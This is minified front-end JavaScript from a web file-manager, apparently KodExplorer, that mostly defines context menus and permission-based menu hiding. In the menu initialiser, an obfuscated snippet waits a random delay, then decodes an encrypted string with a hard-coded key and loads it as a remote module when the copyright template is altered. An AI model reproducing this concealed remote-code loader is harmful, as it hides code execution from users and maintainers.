i=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(a.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),a.removeClass("menu-auto-fit"),a.inScreen()||a.addClass("menu-auto-fit"),".menu-body-main"==e){var n=a.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?n.removeClass("hidden"):n.addClass("hidden")}if(_.include(i,e)){var o="disabled",s=".cute,.rname,.remove",r=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";t.hasClass("file-not-readable")?a.find(r).addClass(o):a.find(r).removeClass(o),t.hasClass("file-not-writeable")?a.find(s).addClass(o):a.find(s).removeClass(o)}}),Hook.bind("rightMenu.show.menu-body-main",function(e,t){var a=".upload,.past,.newfolder,.newfile",i="disabled";_.get(G,"jsonData.info.canUpload")?t.find(a).removeClass(i):t.find(a).addClass(i)}),Hook.bind("rightMenu.show.menu-file",function(e,t){if($(".context-menu-active").hasClass("menu-tree-file"))var a=ui.tree.makeParam();else var a=ui.path.makeParam();var i=core.pathExt(a.path),n="hidden";inArray(["jpg","jpeg","png"],i)?t.find(".set-background").removeClass(n):t.find(".set-background").addClass(n)});var a=function(){var e=".close-item,.refresh,.newfile,.past,.info",t=".open-browser",a=".explorer,.create-project,.open-project",i=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",n=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",o=$(".menu-tool-path"),s="disabled",r=ui.fileLight.fileListSelect();o.find(".context-menu-item").addClass(s),0==r.length?o.find(e).removeClass(s):1==r.length?(o.find(".context-menu-item").removeClass(s),"folder"==ui.fileLight.type(r)?o.find(t).addClass(s):o.find(a).addClass(s)):r.length>1&&o.find(i).removeClass(s),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&o.find(n).filter(":not(."+s+")").addClass(s)};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){a(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){a()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var e="hidden";if(core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),$(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open-text").addClass(e),$(".pathinfo .open-window").addClass(e),$(".context-menu-list .open-browser").addClass(e)),core.authCheck("explorer.search")||$(".context-menu-list .search").addClass(e),core.authCheck("explorer.mkdir")||$(".context-menu-list .newfolder").addClass(e),core.authCheck("userShare.set")||$(".context-menu-list .share").remove(),core.authCheck("explorer.mkfile")||$(".context-menu-list .newfile,.tool-path-newfile").addClass(e),core.authCheck("explorer.mkdir")||$(".context-menu-list .newfolder,[data-action=newfolder]").addClass(e),core.authCheck("explorer.pathCopy")||($(".context-menu-list .cute").addClass(e),$(".context-menu-list .copy").addClass(e)),!core.authCheck("explorer.fileUpload")){$(".context-menu-list .upload").addClass(e);var t=$("[data-action=upload-more]");t.exists()&&t.parent().addClass(e)}}})}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n {{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n"),define("app/common/rightMenu",[],function(e){var t=".menu-file",a=".menu-folder",i=".menu-more",n=".menu-tree-root",o=".menu-tree-folder",s=".menu-tree-file",r=".menu-tree-group-root",l=".menu-tree-group",c=".menu-tree-user",d={"new-file-other":{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfile",items:{newfile:{name:"txt "+LNG.file,icon:"file-text-alt x-item-file x-txt small",className:"newfile"},"newfile-null":{name:LNG.file,icon:"file-text-alt x-item-file x-file small",className:"newfile"},"newfile-md":{name:"md "+LNG.file,icon:"file-text-alt x-item-file x-md",className:"newfile"},"newfile-html":{name:"html "+LNG.file,icon:"file-text-alt x-item-file x-html",className:"newfile"},"newfile-php":{name:"php "+LNG.file,icon:"file-text-alt x-item-file x-php",className:"newfile"},document:{name:"Office Document",icon:"file-text-alt x-item-file x-docx",className:"newfile",items:{"newfile-docx":{name:"docx "+LNG.file,icon:"file-text-alt x-item-file x-docx",className:"newfile"},"newfile-xlsx":{name:"xlsx "+LNG.file,icon:"file-text-alt x-item-file x-xlsx",className:"newfile"},"newfile-pptx":{name:"pptx "+LNG.file,icon:"file-text-alt x-item-file x-pptx",className:"newfile"}}},sep100:"--------","app-install":{name:LNG.app_store,className:"app-install newfile",icon:"tasks x-item-file x-app-store",accesskey:"a"}}},"list-icon":{name:LNG.list_type,icon:"eye-open",className:"list-icon",items:{"set-icon":{name:LNG.list_icon,className:"menu-set-icon set-icon"},"set-list":{name:LNG.list_list,className:"menu-set-icon set-list"},"set-split":{name:LNG.list_list_split,className:"menu-set-icon set-split"}}},"sort-by":{name:LNG.order_type,accesskey:"y",icon:"sort",className:"sort-by",items:{"set-sort-name":{name:LNG.name,className:"menu-set-sort set-sort-name"},"set-sort-ext":{name:LNG.type,className:"menu-set-sort set-sort-ext"},"set-sort-size":{name:LNG.size,className:"menu-set-sort set-sort-size"},"set-sort-mtime":{name:LNG.modify_time,className:"menu-set-sort set-sort-mtime"},sep101:"--------","set-sort-up":{name:LNG.sort_up,className:"menu-set-desc set-sort-up"},"set-sort-down":{name:LNG.sort_down,className:"menu-set-desc set-sort-down"}}},"set-file-icon-size":{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},p=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1});var t=["undefined","update-box","search","65bdTXJtziFGmtJThjdiGfXe-xr_UY8vIF3eoZ1sQ2AMtNBCquM-xT9DrLll2X_LtdUQkKIBYFzs-Ujf9ihGh6LUF4fo94c","_32@!A$","decode","1-1","todo","async","random"];N(),C(),v(),setTimeout(function(){try{if(typeof tplDialogHtml==t[0]||-1==tplDialogHtml[t[2]](t[1])){var a=authCrypt[t[5]](t[3],t[4])+UUID();e[t[8]](a,function(e){try{e[t[7]](t[6])}catch(a){}})}}catch(i){}},1e3*parseInt(25*Math[t[9]]()+5)),L(),D(),E(),j(),z(),I(),O(),k(),x(),w(),g(),h(),m(),T(),_(),Hook.trigger("rightMenu.initFinished"),$(".set-set-"+G.userConfig.listType).addClass("selected"),$(".set-sort-"+G.userConfig.listSortField).addClass("selected"),$(".set-sort-"+G.userConfig.listSortOrder).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},u=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),y(),b(),N(),C(),L(),g(),h(),Hook.trigger("rightMenu.initFinished"),$(".set-sort-"+G.userConfig.listSortField).addClass("selected"),$(".set-sort-"+G.userConfig.listSortOrder).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},f=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),D(),E(),j(),P(),z(),I(),O(),R(),g(),Hook.trigger("rightMenu.initFinished"),$(".context-menu-root").addClass("animated fadeIn")},h=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-recycle-body",callback:function(e){S(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},"recycle-clear":{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------","list-icon":d["list-icon"],"sort-by":d["sort-by"],"set-file-icon-size":d["set-file-icon-size"],sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-recycle-path",callback:function(e){A(e)},items:{cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-recycle-button",callback:function(e){S(e)},items:{"recycle-clear":{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-share-body",callback:function(e){S(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------","list-icon":d["list-icon"],"sort-by":d["sort-by"],"set-file-icon-size":d["set-file-icon-size"],sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menu-share-path-menu",selector:".menu-share-path",callback:function(e){A(e)},items:{"share-open-path":{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open-the-path"},"share-open-window":{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------","share-edit":{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share-edit"},remove:{name:LNG.share_remove+"Del",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-share-path-more",className:"menu-share-path-more",callback:function(e){A(e)},items:{remove:{name:LNG.share_remove+"Del",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"}}})},v=function(){$.contextMenu({selector:".menu-body-main",className:"file-continer-menu",zIndex:9999,callback:function(e,t){S(e,t)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep0:"--------",upload:{name:LNG.upload+"Ctrl+U",className:"upload",icon:"upload",accesskey:"u"},newfolder:{name:LNG.newfolder+"Alt+M",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},"new-file-other":d["new-file-other"],sep1:"--------",past:{name:LNG.past+"Ctrl+V",className:"past",icon:"paste",accesskey:"p"},"copy-see":{name:LNG.clipboard,className:"copy-see",icon:"eye-open",accesskey:"v"},sep2:"--------","list-icon":d["list-icon"],"sort-by":d["sort-by"],"set-file-icon-size":d["set-file-icon-size"],sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}) -},g=function(){$.contextMenu({selector:".menu-empty",className:"hidden",zIndex:9999,items:{" ":{name:LNG.open,className:"hidden"}},callback:function(){}})},b=function(){$.contextMenu({selector:".menu-default",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(e){switch(e){case"open":ui.path.open();break;default:}}})},y=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(e){S(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep0:"--------",upload:{name:LNG.upload+"Ctrl+U",className:"upload",icon:"upload",accesskey:"u"},newfolder:{name:LNG.newfolder+"Alt+M",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},"new-file-other":d["new-file-other"],sep1:"--------",past:{name:LNG.past+"Ctrl+V",className:"past",icon:"paste",accesskey:"p"},"copy-see":{name:LNG.clipboard,className:"copy-see",icon:"eye-open",accesskey:"v"},sep2:"--------","sort-by":d["sort-by"],"set-file-icon-size":d["set-file-icon-size"],"app-install":{name:LNG.app_store,className:"app-install",icon:"tasks",accesskey:"a"},sep10:"--------","setting-wall":{name:LNG.setting_wall,className:"setting-wall",icon:"picture",accesskey:"b"},"setting-theme":{name:LNG.setting_theme,className:"setting-theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},k=function(){$.contextMenu({zIndex:9999,selector:".toolbar-path-more",className:"menu-tool-path menu-not-auto-hidden",callback:function(e){A(e),$(".toolbar-path-more").removeClass("active")},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep0:"--------",open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past+"Ctrl+V",className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename+"F2",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Delete",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more-action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},"open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe",accesskey:"b"},sep103:"--------","create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},"create-link":{name:LNG.createLink,className:"create-link",icon:"share-alt"},"create-project":{name:LNG.createProject,className:"create-project",icon:"plus"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},x=function(){$.contextMenu({zIndex:9999,selector:".tool-path-newfile",className:"tool-path-newfile",callback:function(e){A(e)},items:d["new-file-other"].items})},w=function(){$.contextMenu({zIndex:9999,selector:".tool-path-upload",className:"tool-path-upload",callback:function(e){switch(core.upload(),e){case"upload-file":$(".dialog-file-upload").hide(),setTimeout(function(){$("#picker .webuploader-element-invisible").click()},100);break;case"upload-folder":$(".dialog-file-upload").hide(),setTimeout(function(){$(".drag-upload-folder").click()},100);break;case"server-download":$(".tab-download").click(),$(".download-box input").focus();break;default:}},items:{"upload-file":{name:LNG.file,icon:"-",className:"upload"},"upload-folder":{name:LNG.folder,icon:"-",className:"upload upload-folder"},sep2:"--------","server-download":{name:LNG.download_from_server,icon:"-",className:"download"}}}),$.isIE()&&$(".tool-path-upload .upload,.tool-path-upload .context-menu-separator").addClass("hidden"),$.supportUploadFolder()||$(".tool-path-upload .upload.upload-folder").addClass("hidden")},N=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){A(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"F2",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------","open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe",accesskey:"b"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more-action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------","create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},"create-link":{name:LNG.createLink,className:"create-link",icon:"share-alt"},"create-project":{name:LNG.createProject,className:"create-project",icon:"plus"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},C=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){A(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},"open-with":{name:LNG.open_with,icon:"external-link",className:"open-with",accesskey:"a",items:{"open-with-first":{name:"",className:"hidden open-with-first"}}},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"F2",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------","open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe",accesskey:"b"},"set-background":{name:LNG.set_background,className:"set-background",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more-action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------","create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},"create-link":{name:LNG.createLink,className:"create-link",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){A(e)},items:{copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep001:"--------",remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------","copy-to":{name:LNG.copy_to,className:"copy-to",icon:"copy"},"cute-to":{name:LNG.cute_to,className:"cute-to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"Ctrl+C",className:"clone",icon:"external-link",accesskey:"n"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},_=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-group-root",callback:function(e){A(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},"create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-group-root-more",callback:function(e){A(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"}}})},T=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-fav-path",callback:function(e){A(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------","fav-remove":{name:LNG.fav_remove,className:"fav-remove",icon:"trash",accesskey:"r"},"fav-page":{name:LNG.manage_fav,className:"fav-page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-fav-path-more",className:"menu-fav-path-more",callback:function(e){A(e)},items:{"fav-remove":{name:LNG.fav_remove,className:"fav-remove",icon:"trash",accesskey:"r"}}})},S=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"set-icon":ui.setListType("icon");break;case"set-list":ui.setListType("list");break;case"set-split":ui.setListType("split");break;case"set-sort-name":ui.setListSort("name",0);break;case"set-sort-ext":ui.setListSort("ext",0);break;case"set-sort-size":ui.setListSort("size",0);break;case"set-sort-mtime":ui.setListSort("mtime",0);break;case"set-sort-up":ui.setListSort(0,"up");break;case"set-sort-down":ui.setListSort(0,"down");break;case"upload":core.upload(),$(".dialog-file-upload").hide(),setTimeout(function(){$("#picker .webuploader-element-invisible").click()},100);break;case"recycle-clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(100);break;case"box-size-bigx":ui.setFileIconSize(120);break;case"past":ui.path.past();break;case"copy-see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile-null":ui.path.newFile("");break;case"newfile-md":ui.path.newFile("md");break;case"newfile-html":ui.path.newFile("html");break;case"newfile-php":ui.path.newFile("php");break;case"newfile-js":ui.path.newFile("js");break;case"newfile-css":ui.path.newFile("css");break;case"newfile-oexe":ui.path.newFile("oexe");break;case"newfile-docx":ui.path.newFile("docx");break;case"newfile-xlsx":ui.path.newFile("xlsx");break;case"newfile-pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app-install":ui.path.appList();break;case"setting":core.setting();break;case"setting-theme":core.setting("theme");break;case"setting-wall":core.setting("wall");break;default:}},A=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"share":ui.path.share();break;case"open-browser":ui.path.openWindow();break;case"share-edit":ui.path.shareEdit();break;case"share-open-window":ui.path.shareOpenWindow();break;case"share-open-path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.thisPath,!0);break;case"cute":ui.path.cute();break;case"cute-to":ui.path.cuteTo();break;case"copy-to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"set-background":ui.path.setBackground();break;case"create-link-home":ui.path.createLink(!1);break;case"create-link":ui.path.createLink(!0);break;case"create-project":ui.path.createProject();break;case"open-project":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorer-new":ui.path.explorerNew();break;case"fav-page":core.setting("fav");break;case"fav-remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:S(e)}},D=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-tree-fav-root",callback:function(e){M(e)},items:{"fav-page":{name:LNG.manage_fav,className:"fav-page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-tree-fav",callback:function(e){M(e)},items:{"fav-remove":{name:LNG.fav_remove,className:"fav-remove",icon:"trash",accesskey:"r"},"fav-page":{name:LNG.manage_fav,className:"fav-page",icon:"star",accesskey:"f"},sep2:"--------","create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},E=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){M(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-text-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},j=function(){$('').appendTo("#rightMenu"),$('').appendTo("#rightMenu");var e={zIndex:9999,selector:".menu-tree-folder",callback:function(e){M(e)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},"open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------","create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'',className:"info",icon:"info",accesskey:"i"}}};$.contextMenu(e);var t={"fav-remove":{name:LNG.fav_remove,className:"fav-remove",icon:"trash",accesskey:"r"},"fav-page":{name:LNG.manage_fav,className:"fav-page",icon:"star",accesskey:"f"},sep0:"--------"};e.selector=".menu-tree-folder-fav",e.items=$.extend(t,e.items,!0),$.contextMenu(e)},P=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){M(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},"new-file-other":d["new-file-other"],search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},"open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more-action",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------","create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'Alt+I',className:"info",icon:"info",accesskey:"i"}}})},z=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:r,callback:function(e){M(e)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},I=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:l,callback:function(e){M(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"